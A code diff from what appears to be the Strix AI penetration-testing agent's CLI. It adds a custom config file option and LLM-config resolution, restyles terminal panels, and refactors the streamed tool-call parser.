||||||
|
return cls._config_file_override
|
||||||
return cls.config_dir() / "cli-config.json"
|
return cls.config_dir() / "cli-config.json"
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
@@ -75,7 +109,7 @@ class Config:
|
|||||||
def save(cls, config: dict[str, Any]) -> bool:
|
def save(cls, config: dict[str, Any]) -> bool:
|
||||||
try:
|
try:
|
||||||
cls.config_dir().mkdir(parents=True, exist_ok=True)
|
cls.config_dir().mkdir(parents=True, exist_ok=True)
|
||||||
config_path = cls.config_file()
|
config_path = cls.config_dir() / "cli-config.json"
|
||||||
with config_path.open("w", encoding="utf-8") as f:
|
with config_path.open("w", encoding="utf-8") as f:
|
||||||
json.dump(config, f, indent=2)
|
json.dump(config, f, indent=2)
|
||||||
except OSError:
|
except OSError:
|
||||||
@@ -85,13 +119,30 @@ class Config:
|
|||||||
return True
|
return True
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def apply_saved(cls) -> dict[str, str]:
|
def apply_saved(cls, force: bool = False) -> dict[str, str]:
|
||||||
saved = cls.load()
|
saved = cls.load()
|
||||||
env_vars = saved.get("env", {})
|
env_vars = saved.get("env", {})
|
||||||
|
if not isinstance(env_vars, dict):
|
||||||
|
env_vars = {}
|
||||||
|
cleared_vars = {
|
||||||
|
var_name
|
||||||
|
for var_name in cls.tracked_vars()
|
||||||
|
if var_name in os.environ and os.environ.get(var_name) == ""
|
||||||
|
}
|
||||||
|
if cleared_vars:
|
||||||
|
for var_name in cleared_vars:
|
||||||
|
env_vars.pop(var_name, None)
|
||||||
|
if cls._config_file_override is None:
|
||||||
|
cls.save({"env": env_vars})
|
||||||
|
if cls._llm_env_changed(env_vars):
|
||||||
|
for var_name in cls._llm_env_vars():
|
||||||
|
env_vars.pop(var_name, None)
|
||||||
|
if cls._config_file_override is None:
|
||||||
|
cls.save({"env": env_vars})
|
||||||
applied = {}
|
applied = {}
|
||||||
|
|
||||||
for var_name, var_value in env_vars.items():
|
for var_name, var_value in env_vars.items():
|
||||||
if var_name in cls.tracked_vars() and not os.getenv(var_name):
|
if var_name in cls.tracked_vars() and (force or var_name not in os.environ):
|
||||||
os.environ[var_name] = var_value
|
os.environ[var_name] = var_value
|
||||||
applied[var_name] = var_value
|
applied[var_name] = var_value
|
||||||
|
|
||||||
@@ -123,9 +174,37 @@ class Config:
|
|||||||
return cls.save({"env": merged})
|
return cls.save({"env": merged})
|
||||||
|
|
||||||
|
|
||||||
def apply_saved_config() -> dict[str, str]:
|
def apply_saved_config(force: bool = False) -> dict[str, str]:
|
||||||
return Config.apply_saved()
|
return Config.apply_saved(force=force)
|
||||||
|
|
||||||
|
|
||||||
def save_current_config() -> bool:
|
def save_current_config() -> bool:
|
||||||
return Config.save_current()
|
return Config.save_current()
|
||||||
|
|
||||||
|
|
||||||
|
def resolve_llm_config() -> tuple[str | None, str | None, str | None]:
|
||||||
|
"""Resolve LLM model, api_key, and api_base based on STRIX_LLM prefix.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
tuple: (model_name, api_key, api_base)
|
||||||
|
- model_name: Original model name (strix/ prefix preserved for display)
|
||||||
|
- api_key: LLM API key
|
||||||
|
- api_base: API base URL (auto-set to STRIX_API_BASE for strix/ models)
|
||||||
|
"""
|
||||||
|
model = Config.get("strix_llm")
|
||||||
|
if not model:
|
||||||
|
return None, None, None
|
||||||
|
|
||||||
|
api_key = Config.get("llm_api_key")
|
||||||
|
|
||||||
|
if model.startswith("strix/"):
|
||||||
|
api_base: str | None = STRIX_API_BASE
|
||||||
|
else:
|
||||||
|
api_base = (
|
||||||
|
Config.get("llm_api_base")
|
||||||
|
or Config.get("openai_api_base")
|
||||||
|
or Config.get("litellm_base_url")
|
||||||
|
or Config.get("ollama_api_base")
|
||||||
|
)
|
||||||
|
|
||||||
|
return model, api_key, api_base
|
||||||
|
|||||||
@@ -3,6 +3,28 @@ Screen {
|
|||||||
color: #d4d4d4;
|
color: #d4d4d4;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.screen--selection {
|
||||||
|
background: #2d3d2f;
|
||||||
|
color: #e5e5e5;
|
||||||
|
}
|
||||||
|
|
||||||
|
ToastRack {
|
||||||
|
dock: top;
|
||||||
|
align: right top;
|
||||||
|
margin-bottom: 0;
|
||||||
|
margin-top: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
Toast {
|
||||||
|
width: 25;
|
||||||
|
background: #000000;
|
||||||
|
border-left: outer #22c55e;
|
||||||
|
}
|
||||||
|
|
||||||
|
Toast.-information .toast--title {
|
||||||
|
color: #22c55e;
|
||||||
|
}
|
||||||
|
|
||||||
#splash_screen {
|
#splash_screen {
|
||||||
height: 100%;
|
height: 100%;
|
||||||
width: 100%;
|
width: 100%;
|
||||||
@@ -36,7 +58,7 @@ Screen {
|
|||||||
}
|
}
|
||||||
|
|
||||||
#sidebar {
|
#sidebar {
|
||||||
width: 25%;
|
width: 20%;
|
||||||
background: transparent;
|
background: transparent;
|
||||||
margin-left: 1;
|
margin-left: 1;
|
||||||
}
|
}
|
||||||
@@ -174,7 +196,7 @@ VulnerabilityDetailScreen {
|
|||||||
}
|
}
|
||||||
|
|
||||||
#chat_area_container {
|
#chat_area_container {
|
||||||
width: 75%;
|
width: 80%;
|
||||||
background: transparent;
|
background: transparent;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -24,30 +24,26 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
|
|||||||
console = Console()
|
console = Console()
|
||||||
|
|
||||||
start_text = Text()
|
start_text = Text()
|
||||||
start_text.append("🦉 ", style="bold white")
|
start_text.append("Penetration test initiated", style="bold #22c55e")
|
||||||
start_text.append("STRIX CYBERSECURITY AGENT", style="bold green")
|
|
||||||
|
|
||||||
target_text = Text()
|
target_text = Text()
|
||||||
|
target_text.append("Target", style="dim")
|
||||||
|
target_text.append(" ")
|
||||||
if len(args.targets_info) == 1:
|
if len(args.targets_info) == 1:
|
||||||
target_text.append("🎯 Target: ", style="bold cyan")
|
|
||||||
target_text.append(args.targets_info[0]["original"], style="bold white")
|
target_text.append(args.targets_info[0]["original"], style="bold white")
|
||||||
else:
|
else:
|
||||||
target_text.append("🎯 Targets: ", style="bold cyan")
|
target_text.append(f"{len(args.targets_info)} targets", style="bold white")
|
||||||
target_text.append(f"{len(args.targets_info)} targets\n", style="bold white")
|
for target_info in args.targets_info:
|
||||||
for i, target_info in enumerate(args.targets_info):
|
target_text.append("\n ")
|
||||||
target_text.append(" • ", style="dim white")
|
|
||||||
target_text.append(target_info["original"], style="white")
|
target_text.append(target_info["original"], style="white")
|
||||||
if i < len(args.targets_info) - 1:
|
|
||||||
target_text.append("\n")
|
|
||||||
|
|
||||||
results_text = Text()
|
results_text = Text()
|
||||||
results_text.append("📊 Results will be saved to: ", style="bold cyan")
|
results_text.append("Output", style="dim")
|
||||||
results_text.append(f"strix_runs/{args.run_name}", style="bold white")
|
results_text.append(" ")
|
||||||
|
results_text.append(f"strix_runs/{args.run_name}", style="#60a5fa")
|
||||||
|
|
||||||
note_text = Text()
|
note_text = Text()
|
||||||
note_text.append("\n\n", style="dim")
|
note_text.append("\n\n", style="dim")
|
||||||
note_text.append("⏱️ ", style="dim")
|
|
||||||
note_text.append("This may take a while depending on target complexity. ", style="dim")
|
|
||||||
note_text.append("Vulnerabilities will be displayed in real-time.", style="dim")
|
note_text.append("Vulnerabilities will be displayed in real-time.", style="dim")
|
||||||
|
|
||||||
startup_panel = Panel(
|
startup_panel = Panel(
|
||||||
@@ -59,9 +55,9 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
|
|||||||
results_text,
|
results_text,
|
||||||
note_text,
|
note_text,
|
||||||
),
|
),
|
||||||
title="[bold green]🛡️ STRIX PENETRATION TEST INITIATED",
|
title="[bold white]STRIX",
|
||||||
title_align="center",
|
title_align="left",
|
||||||
border_style="green",
|
border_style="#22c55e",
|
||||||
padding=(1, 2),
|
padding=(1, 2),
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -110,7 +106,10 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
|
|||||||
tracer.vulnerability_found_callback = display_vulnerability
|
tracer.vulnerability_found_callback = display_vulnerability
|
||||||
|
|
||||||
def cleanup_on_exit() -> None:
|
def cleanup_on_exit() -> None:
|
||||||
|
from strix.runtime import cleanup_runtime
|
||||||
|
|
||||||
tracer.cleanup()
|
tracer.cleanup()
|
||||||
|
cleanup_runtime()
|
||||||
|
|
||||||
def signal_handler(_signum: int, _frame: Any) -> None:
|
def signal_handler(_signum: int, _frame: Any) -> None:
|
||||||
tracer.cleanup()
|
tracer.cleanup()
|
||||||
@@ -126,8 +125,7 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
|
|||||||
|
|
||||||
def create_live_status() -> Panel:
|
def create_live_status() -> Panel:
|
||||||
status_text = Text()
|
status_text = Text()
|
||||||
status_text.append("🦉 ", style="bold white")
|
status_text.append("Penetration test in progress", style="bold #22c55e")
|
||||||
status_text.append("Running penetration test...", style="bold #22c55e")
|
|
||||||
status_text.append("\n\n")
|
status_text.append("\n\n")
|
||||||
|
|
||||||
stats_text = build_live_stats_text(tracer, agent_config)
|
stats_text = build_live_stats_text(tracer, agent_config)
|
||||||
@@ -136,8 +134,8 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
|
|||||||
|
|
||||||
return Panel(
|
return Panel(
|
||||||
status_text,
|
status_text,
|
||||||
title="[bold #22c55e]🔍 Live Penetration Test Status",
|
title="[bold white]STRIX",
|
||||||
title_align="center",
|
title_align="left",
|
||||||
border_style="#22c55e",
|
border_style="#22c55e",
|
||||||
padding=(1, 2),
|
padding=(1, 2),
|
||||||
)
|
)
|
||||||
@@ -169,7 +167,7 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
|
|||||||
error_msg = result.get("error", "Unknown error")
|
error_msg = result.get("error", "Unknown error")
|
||||||
error_details = result.get("details")
|
error_details = result.get("details")
|
||||||
console.print()
|
console.print()
|
||||||
console.print(f"[bold red]❌ Penetration test failed:[/] {error_msg}")
|
console.print(f"[bold red]Penetration test failed:[/] {error_msg}")
|
||||||
if error_details:
|
if error_details:
|
||||||
console.print(f"[dim]{error_details}[/]")
|
console.print(f"[dim]{error_details}[/]")
|
||||||
console.print()
|
console.print()
|
||||||
@@ -186,8 +184,7 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
|
|||||||
console.print()
|
console.print()
|
||||||
|
|
||||||
final_report_text = Text()
|
final_report_text = Text()
|
||||||
final_report_text.append("📄 ", style="bold cyan")
|
final_report_text.append("Penetration test summary", style="bold #60a5fa")
|
||||||
final_report_text.append("FINAL PENETRATION TEST REPORT", style="bold cyan")
|
|
||||||
|
|
||||||
final_report_panel = Panel(
|
final_report_panel = Panel(
|
||||||
Text.assemble(
|
Text.assemble(
|
||||||
@@ -195,9 +192,9 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
|
|||||||
"\n\n",
|
"\n\n",
|
||||||
tracer.final_scan_result,
|
tracer.final_scan_result,
|
||||||
),
|
),
|
||||||
title="[bold cyan]📊 PENETRATION TEST SUMMARY",
|
title="[bold white]STRIX",
|
||||||
title_align="center",
|
title_align="left",
|
||||||
border_style="cyan",
|
border_style="#60a5fa",
|
||||||
padding=(1, 2),
|
padding=(1, 2),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -18,6 +18,8 @@ from rich.panel import Panel
|
|||||||
from rich.text import Text
|
from rich.text import Text
|
||||||
|
|
||||||
from strix.config import Config, apply_saved_config, save_current_config
|
from strix.config import Config, apply_saved_config, save_current_config
|
||||||
|
from strix.config.config import resolve_llm_config
|
||||||
|
from strix.llm.utils import resolve_strix_model
|
||||||
|
|
||||||
|
|
||||||
apply_saved_config()
|
apply_saved_config()
|
||||||
@@ -35,6 +37,7 @@ from strix.interface.utils import ( # noqa: E402
|
|||||||
infer_target_type,
|
infer_target_type,
|
||||||
process_pull_line,
|
process_pull_line,
|
||||||
rewrite_localhost_targets,
|
rewrite_localhost_targets,
|
||||||
|
validate_config_file,
|
||||||
validate_llm_response,
|
validate_llm_response,
|
||||||
)
|
)
|
||||||
from strix.runtime.docker_runtime import HOST_GATEWAY_HOSTNAME # noqa: E402
|
from strix.runtime.docker_runtime import HOST_GATEWAY_HOSTNAME # noqa: E402
|
||||||
@@ -50,10 +53,13 @@ def validate_environment() -> None: # noqa: PLR0912, PLR0915
|
|||||||
missing_required_vars = []
|
missing_required_vars = []
|
||||||
missing_optional_vars = []
|
missing_optional_vars = []
|
||||||
|
|
||||||
if not Config.get("strix_llm"):
|
strix_llm = Config.get("strix_llm")
|
||||||
|
uses_strix_models = strix_llm and strix_llm.startswith("strix/")
|
||||||
|
|
||||||
|
if not strix_llm:
|
||||||
missing_required_vars.append("STRIX_LLM")
|
missing_required_vars.append("STRIX_LLM")
|
||||||
|
|
||||||
has_base_url = any(
|
has_base_url = uses_strix_models or any(
|
||||||
[
|
[
|
||||||
Config.get("llm_api_base"),
|
Config.get("llm_api_base"),
|
||||||
Config.get("openai_api_base"),
|
Config.get("openai_api_base"),
|
||||||
@@ -76,7 +82,6 @@ def validate_environment() -> None: # noqa: PLR0912, PLR0915
|
|||||||
|
|
||||||
if missing_required_vars:
|
if missing_required_vars:
|
||||||
error_text = Text()
|
error_text = Text()
|
||||||
error_text.append("❌ ", style="bold red")
|
|
||||||
error_text.append("MISSING REQUIRED ENVIRONMENT VARIABLES", style="bold red")
|
error_text.append("MISSING REQUIRED ENVIRONMENT VARIABLES", style="bold red")
|
||||||
error_text.append("\n\n", style="white")
|
error_text.append("\n\n", style="white")
|
||||||
|
|
||||||
@@ -135,7 +140,10 @@ def validate_environment() -> None: # noqa: PLR0912, PLR0915
|
|||||||
)
|
)
|
||||||
|
|
||||||
error_text.append("\nExample setup:\n", style="white")
|
error_text.append("\nExample setup:\n", style="white")
|
||||||
error_text.append("export STRIX_LLM='openai/gpt-5'\n", style="dim white")
|
if uses_strix_models:
|
||||||
|
error_text.append("export STRIX_LLM='strix/gpt-5'\n", style="dim white")
|
||||||
|
else:
|
||||||
|
error_text.append("export STRIX_LLM='openai/gpt-5'\n", style="dim white")
|
||||||
|
|
||||||
if missing_optional_vars:
|
if missing_optional_vars:
|
||||||
for var in missing_optional_vars:
|
for var in missing_optional_vars:
|
||||||
@@ -163,8 +171,8 @@ def validate_environment() -> None: # noqa: PLR0912, PLR0915
|
|||||||
|
|
||||||
panel = Panel(
|
panel = Panel(
|
||||||
error_text,
|
error_text,
|
||||||
title="[bold red]🛡️ STRIX CONFIGURATION ERROR",
|
title="[bold white]STRIX",
|
||||||
title_align="center",
|
title_align="left",
|
||||||
border_style="red",
|
border_style="red",
|
||||||
padding=(1, 2),
|
padding=(1, 2),
|
||||||
)
|
)
|
||||||
@@ -179,7 +187,6 @@ def check_docker_installed() -> None:
|
|||||||
if shutil.which("docker") is None:
|
if shutil.which("docker") is None:
|
||||||
console = Console()
|
console = Console()
|
||||||
error_text = Text()
|
error_text = Text()
|
||||||
error_text.append("❌ ", style="bold red")
|
|
||||||
error_text.append("DOCKER NOT INSTALLED", style="bold red")
|
error_text.append("DOCKER NOT INSTALLED", style="bold red")
|
||||||
error_text.append("\n\n", style="white")
|
error_text.append("\n\n", style="white")
|
||||||
error_text.append("The 'docker' CLI was not found in your PATH.\n", style="white")
|
error_text.append("The 'docker' CLI was not found in your PATH.\n", style="white")
|
||||||
@@ -189,8 +196,8 @@ def check_docker_installed() -> None:
|
|||||||
|
|
||||||
panel = Panel(
|
panel = Panel(
|
||||||
error_text,
|
error_text,
|
||||||
title="[bold red]🛡️ STRIX STARTUP ERROR",
|
title="[bold white]STRIX",
|
||||||
title_align="center",
|
title_align="left",
|
||||||
border_style="red",
|
border_style="red",
|
||||||
padding=(1, 2),
|
padding=(1, 2),
|
||||||
)
|
)
|
||||||
@@ -202,14 +209,9 @@ async def warm_up_llm() -> None:
|
|||||||
console = Console()
|
console = Console()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
model_name = Config.get("strix_llm")
|
model_name, api_key, api_base = resolve_llm_config()
|
||||||
api_key = Config.get("llm_api_key")
|
litellm_model, _ = resolve_strix_model(model_name)
|
||||||
api_base = (
|
litellm_model = litellm_model or model_name
|
||||||
Config.get("llm_api_base")
|
|
||||||
or Config.get("openai_api_base")
|
|
||||||
or Config.get("litellm_base_url")
|
|
||||||
or Config.get("ollama_api_base")
|
|
||||||
)
|
|
||||||
|
|
||||||
test_messages = [
|
test_messages = [
|
||||||
{"role": "system", "content": "You are a helpful assistant."},
|
{"role": "system", "content": "You are a helpful assistant."},
|
||||||
@@ -219,7 +221,7 @@ async def warm_up_llm() -> None:
|
|||||||
llm_timeout = int(Config.get("llm_timeout") or "300")
|
llm_timeout = int(Config.get("llm_timeout") or "300")
|
||||||
|
|
||||||
completion_kwargs: dict[str, Any] = {
|
completion_kwargs: dict[str, Any] = {
|
||||||
"model": model_name,
|
"model": litellm_model,
|
||||||
"messages": test_messages,
|
"messages": test_messages,
|
||||||
"timeout": llm_timeout,
|
"timeout": llm_timeout,
|
||||||
}
|
}
|
||||||
@@ -234,7 +236,6 @@ async def warm_up_llm() -> None:
|
|||||||
|
|
||||||
except Exception as e: # noqa: BLE001
|
except Exception as e: # noqa: BLE001
|
||||||
error_text = Text()
|
error_text = Text()
|
||||||
error_text.append("❌ ", style="bold red")
|
|
||||||
error_text.append("LLM CONNECTION FAILED", style="bold red")
|
error_text.append("LLM CONNECTION FAILED", style="bold red")
|
||||||
error_text.append("\n\n", style="white")
|
error_text.append("\n\n", style="white")
|
||||||
error_text.append("Could not establish connection to the language model.\n", style="white")
|
error_text.append("Could not establish connection to the language model.\n", style="white")
|
||||||
@@ -243,8 +244,8 @@ async def warm_up_llm() -> None:
|
|||||||
|
|
||||||
panel = Panel(
|
panel = Panel(
|
||||||
error_text,
|
error_text,
|
||||||
title="[bold red]🛡️ STRIX STARTUP ERROR",
|
title="[bold white]STRIX",
|
||||||
title_align="center",
|
title_align="left",
|
||||||
border_style="red",
|
border_style="red",
|
||||||
padding=(1, 2),
|
padding=(1, 2),
|
||||||
)
|
)
|
||||||
@@ -359,6 +360,12 @@ Examples:
|
|||||||
),
|
),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
parser.add_argument(
|
||||||
|
"--config",
|
||||||
|
type=str,
|
||||||
|
help="Path to a custom config file (JSON) to use instead of ~/.strix/cli-config.json",
|
||||||
|
)
|
||||||
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
if args.instruction and args.instruction_file:
|
if args.instruction and args.instruction_file:
|
||||||
@@ -410,30 +417,22 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
|
|||||||
|
|
||||||
completion_text = Text()
|
completion_text = Text()
|
||||||
if scan_completed:
|
if scan_completed:
|
||||||
completion_text.append("🦉 ", style="bold white")
|
completion_text.append("Penetration test completed", style="bold #22c55e")
|
||||||
completion_text.append("AGENT FINISHED", style="bold green")
|
|
||||||
completion_text.append(" • ", style="dim white")
|
|
||||||
completion_text.append("Penetration test completed", style="white")
|
|
||||||
else:
|
else:
|
||||||
completion_text.append("🦉 ", style="bold white")
|
completion_text.append("SESSION ENDED", style="bold #eab308")
|
||||||
completion_text.append("SESSION ENDED", style="bold yellow")
|
|
||||||
completion_text.append(" • ", style="dim white")
|
|
||||||
completion_text.append("Penetration test interrupted by user", style="white")
|
|
||||||
|
|
||||||
stats_text = build_final_stats_text(tracer)
|
|
||||||
|
|
||||||
target_text = Text()
|
target_text = Text()
|
||||||
|
target_text.append("Target", style="dim")
|
||||||
|
target_text.append(" ")
|
||||||
if len(args.targets_info) == 1:
|
if len(args.targets_info) == 1:
|
||||||
target_text.append("🎯 Target: ", style="bold cyan")
|
|
||||||
target_text.append(args.targets_info[0]["original"], style="bold white")
|
target_text.append(args.targets_info[0]["original"], style="bold white")
|
||||||
else:
|
else:
|
||||||
target_text.append("🎯 Targets: ", style="bold cyan")
|
target_text.append(f"{len(args.targets_info)} targets", style="bold white")
|
||||||
target_text.append(f"{len(args.targets_info)} targets\n", style="bold white")
|
for target_info in args.targets_info:
|
||||||
for i, target_info in enumerate(args.targets_info):
|
target_text.append("\n ")
|
||||||
target_text.append(" • ", style="dim white")
|
|
||||||
target_text.append(target_info["original"], style="white")
|
target_text.append(target_info["original"], style="white")
|
||||||
if i < len(args.targets_info) - 1:
|
|
||||||
target_text.append("\n")
|
stats_text = build_final_stats_text(tracer)
|
||||||
|
|
||||||
panel_parts = [completion_text, "\n\n", target_text]
|
panel_parts = [completion_text, "\n\n", target_text]
|
||||||
|
|
||||||
@@ -442,18 +441,20 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
|
|||||||
|
|
||||||
if scan_completed or has_vulnerabilities:
|
if scan_completed or has_vulnerabilities:
|
||||||
results_text = Text()
|
results_text = Text()
|
||||||
results_text.append("📊 Results Saved To: ", style="bold cyan")
|
results_text.append("\n")
|
||||||
results_text.append(str(results_path), style="bold yellow")
|
results_text.append("Output", style="dim")
|
||||||
panel_parts.extend(["\n\n", results_text])
|
results_text.append(" ")
|
||||||
|
results_text.append(str(results_path), style="#60a5fa")
|
||||||
|
panel_parts.extend(["\n", results_text])
|
||||||
|
|
||||||
panel_content = Text.assemble(*panel_parts)
|
panel_content = Text.assemble(*panel_parts)
|
||||||
|
|
||||||
border_style = "green" if scan_completed else "yellow"
|
border_style = "#22c55e" if scan_completed else "#eab308"
|
||||||
|
|
||||||
panel = Panel(
|
panel = Panel(
|
||||||
panel_content,
|
panel_content,
|
||||||
title="[bold green]🛡️ STRIX CYBERSECURITY AGENT",
|
title="[bold white]STRIX",
|
||||||
title_align="center",
|
title_align="left",
|
||||||
border_style=border_style,
|
border_style=border_style,
|
||||||
padding=(1, 2),
|
padding=(1, 2),
|
||||||
)
|
)
|
||||||
@@ -461,8 +462,7 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
|
|||||||
console.print("\n")
|
console.print("\n")
|
||||||
console.print(panel)
|
console.print(panel)
|
||||||
console.print()
|
console.print()
|
||||||
console.print("[dim]🌐 Website:[/] [cyan]https://strix.ai[/]")
|
console.print("[#60a5fa]strix.ai[/] [dim]·[/] [#60a5fa]discord.gg/strix-ai[/]")
|
||||||
console.print("[dim]💬 Discord:[/] [cyan]https://discord.gg/YjKFvEZSdZ[/]")
|
|
||||||
console.print()
|
console.print()
|
||||||
|
|
||||||
|
|
||||||
@@ -474,7 +474,7 @@ def pull_docker_image() -> None:
|
|||||||
return
|
return
|
||||||
|
|
||||||
console.print()
|
console.print()
|
||||||
console.print(f"[bold cyan]🐳 Pulling Docker image:[/] {Config.get('strix_image')}")
|
console.print(f"[dim]Pulling image[/] {Config.get('strix_image')}")
|
||||||
console.print("[dim yellow]This only happens on first run and may take a few minutes...[/]")
|
console.print("[dim yellow]This only happens on first run and may take a few minutes...[/]")
|
||||||
console.print()
|
console.print()
|
||||||
|
|
||||||
@@ -489,7 +489,6 @@ def pull_docker_image() -> None:
|
|||||||
except DockerException as e:
|
except DockerException as e:
|
||||||
console.print()
|
console.print()
|
||||||
error_text = Text()
|
error_text = Text()
|
||||||
error_text.append("❌ ", style="bold red")
|
|
||||||
error_text.append("FAILED TO PULL IMAGE", style="bold red")
|
error_text.append("FAILED TO PULL IMAGE", style="bold red")
|
||||||
error_text.append("\n\n", style="white")
|
error_text.append("\n\n", style="white")
|
||||||
error_text.append(f"Could not download: {Config.get('strix_image')}\n", style="white")
|
error_text.append(f"Could not download: {Config.get('strix_image')}\n", style="white")
|
||||||
@@ -497,8 +496,8 @@ def pull_docker_image() -> None:
|
|||||||
|
|
||||||
panel = Panel(
|
panel = Panel(
|
||||||
error_text,
|
error_text,
|
||||||
title="[bold red]🛡️ DOCKER PULL ERROR",
|
title="[bold white]STRIX",
|
||||||
title_align="center",
|
title_align="left",
|
||||||
border_style="red",
|
border_style="red",
|
||||||
padding=(1, 2),
|
padding=(1, 2),
|
||||||
)
|
)
|
||||||
@@ -506,25 +505,37 @@ def pull_docker_image() -> None:
|
|||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
success_text = Text()
|
success_text = Text()
|
||||||
success_text.append("✅ ", style="bold green")
|
success_text.append("Docker image ready", style="#22c55e")
|
||||||
success_text.append("Successfully pulled Docker image", style="green")
|
|
||||||
console.print(success_text)
|
console.print(success_text)
|
||||||
console.print()
|
console.print()
|
||||||
|
|
||||||
|
|
||||||
|
def apply_config_override(config_path: str) -> None:
|
||||||
|
Config._config_file_override = validate_config_file(config_path)
|
||||||
|
apply_saved_config(force=True)
|
||||||
|
|
||||||
|
|
||||||
|
def persist_config() -> None:
|
||||||
|
if Config._config_file_override is None:
|
||||||
|
save_current_config()
|
||||||
|
|
||||||
|
|
||||||
def main() -> None:
|
def main() -> None:
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
|
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
|
||||||
|
|
||||||
args = parse_arguments()
|
args = parse_arguments()
|
||||||
|
|
||||||
|
if args.config:
|
||||||
|
apply_config_override(args.config)
|
||||||
|
|
||||||
check_docker_installed()
|
check_docker_installed()
|
||||||
pull_docker_image()
|
pull_docker_image()
|
||||||
|
|
||||||
validate_environment()
|
validate_environment()
|
||||||
asyncio.run(warm_up_llm())
|
asyncio.run(warm_up_llm())
|
||||||
|
|
||||||
save_current_config()
|
persist_config()
|
||||||
|
|
||||||
args.run_name = generate_run_name(args.targets_info)
|
args.run_name = generate_run_name(args.targets_info)
|
||||||
|
|
||||||
|
|||||||
@@ -3,8 +3,16 @@ import re
|
|||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
from typing import Literal
|
from typing import Literal
|
||||||
|
|
||||||
|
from strix.llm.utils import normalize_tool_format
|
||||||
|
|
||||||
|
|
||||||
_FUNCTION_TAG_PREFIX = "<function="
|
_FUNCTION_TAG_PREFIX = "<function="
|
||||||
|
_INVOKE_TAG_PREFIX = "<invoke "
|
||||||
|
|
||||||
|
_FUNC_PATTERN = re.compile(r"<function=([^>]+)>")
|
||||||
|
_FUNC_END_PATTERN = re.compile(r"</function>")
|
||||||
|
_COMPLETE_PARAM_PATTERN = re.compile(r"<parameter=([^>]+)>(.*?)</parameter>", re.DOTALL)
|
||||||
|
_INCOMPLETE_PARAM_PATTERN = re.compile(r"<parameter=([^>]+)>(.*)$", re.DOTALL)
|
||||||
|
|
||||||
|
|
||||||
def _get_safe_content(content: str) -> tuple[str, str]:
|
def _get_safe_content(content: str) -> tuple[str, str]:
|
||||||
@@ -16,9 +24,8 @@ def _get_safe_content(content: str) -> tuple[str, str]:
|
|||||||
return content, ""
|
return content, ""
|
||||||
|
|
||||||
suffix = content[last_lt:]
|
suffix = content[last_lt:]
|
||||||
target = _FUNCTION_TAG_PREFIX # "<function="
|
|
||||||
|
|
||||||
if target.startswith(suffix):
|
if _FUNCTION_TAG_PREFIX.startswith(suffix) or _INVOKE_TAG_PREFIX.startswith(suffix):
|
||||||
return content[:last_lt], suffix
|
return content[:last_lt], suffix
|
||||||
|
|
||||||
return content, ""
|
return content, ""
|
||||||
@@ -37,10 +44,11 @@ def parse_streaming_content(content: str) -> list[StreamSegment]:
|
|||||||
if not content:
|
if not content:
|
||||||
return []
|
return []
|
||||||
|
|
||||||
|
content = normalize_tool_format(content)
|
||||||
|
|
||||||
segments: list[StreamSegment] = []
|
segments: list[StreamSegment] = []
|
||||||
|
|
||||||
func_pattern = r"<function=([^>]+)>"
|
func_matches = list(_FUNC_PATTERN.finditer(content))
|
||||||
func_matches = list(re.finditer(func_pattern, content))
|
|
||||||
|
|
||||||
if not func_matches:
|
if not func_matches:
|
||||||
safe_content, _ = _get_safe_content(content)
|
safe_content, _ = _get_safe_content(content)
|
||||||
@@ -59,12 +67,12 @@ def parse_streaming_content(content: str) -> list[StreamSegment]:
|
|||||||
tool_name = match.group(1)
|
tool_name = match.group(1)
|
||||||
func_start = match.end()
|
func_start = match.end()
|
||||||
|
|
||||||
func_end_match = re.search(r"</function>", content[func_start:])
|
func_end_match = _FUNC_END_PATTERN.search(content, func_start)
|
||||||
|
|
||||||
if func_end_match:
|
if func_end_match:
|
||||||
func_body = content[func_start : func_start + func_end_match.start()]
|
func_body = content[func_start : func_end_match.start()]
|
||||||
is_complete = True
|
is_complete = True
|
||||||
end_pos = func_start + func_end_match.end()
|
end_pos = func_end_match.end()
|
||||||
else:
|
else:
|
||||||
if i + 1 < len(func_matches):
|
if i + 1 < len(func_matches):
|
||||||
next_func_start = func_matches[i + 1].start()
|
next_func_start = func_matches[i + 1].start()
|
||||||
@@ -98,8 +106,7 @@ def parse_streaming_content(content: str) -> list[StreamSegment]:
|
|||||||
def _parse_streaming_params(func_body: str) -> dict[str, str]:
|
def _parse_streaming_params(func_body: str) -> dict[str, str]:
|
||||||
args: dict[str, str] = {}
|
args: dict[str, str] = {}
|
||||||
|
|
||||||
complete_pattern = r"<parameter=([^>]+)>(.*?)</parameter>"
|
complete_matches = list(_COMPLETE_PARAM_PATTERN.finditer(func_body))
|
||||||
complete_matches = list(re.finditer(complete_pattern, func_body, re.DOTALL))
|
|
||||||
complete_end_pos = 0
|
complete_end_pos = 0
|
||||||
|
|
||||||
for match in complete_matches:
|
for match in complete_matches:
|
||||||
@@ -109,8 +116,7 @@ def _parse_streaming_params(func_body: str) -> dict[str, str]:
|
|||||||
complete_end_pos = max(complete_end_pos, match.end())
|
complete_end_pos = max(complete_end_pos, match.end())
|
||||||
|
|
||||||
remaining = func_body[complete_end_pos:]
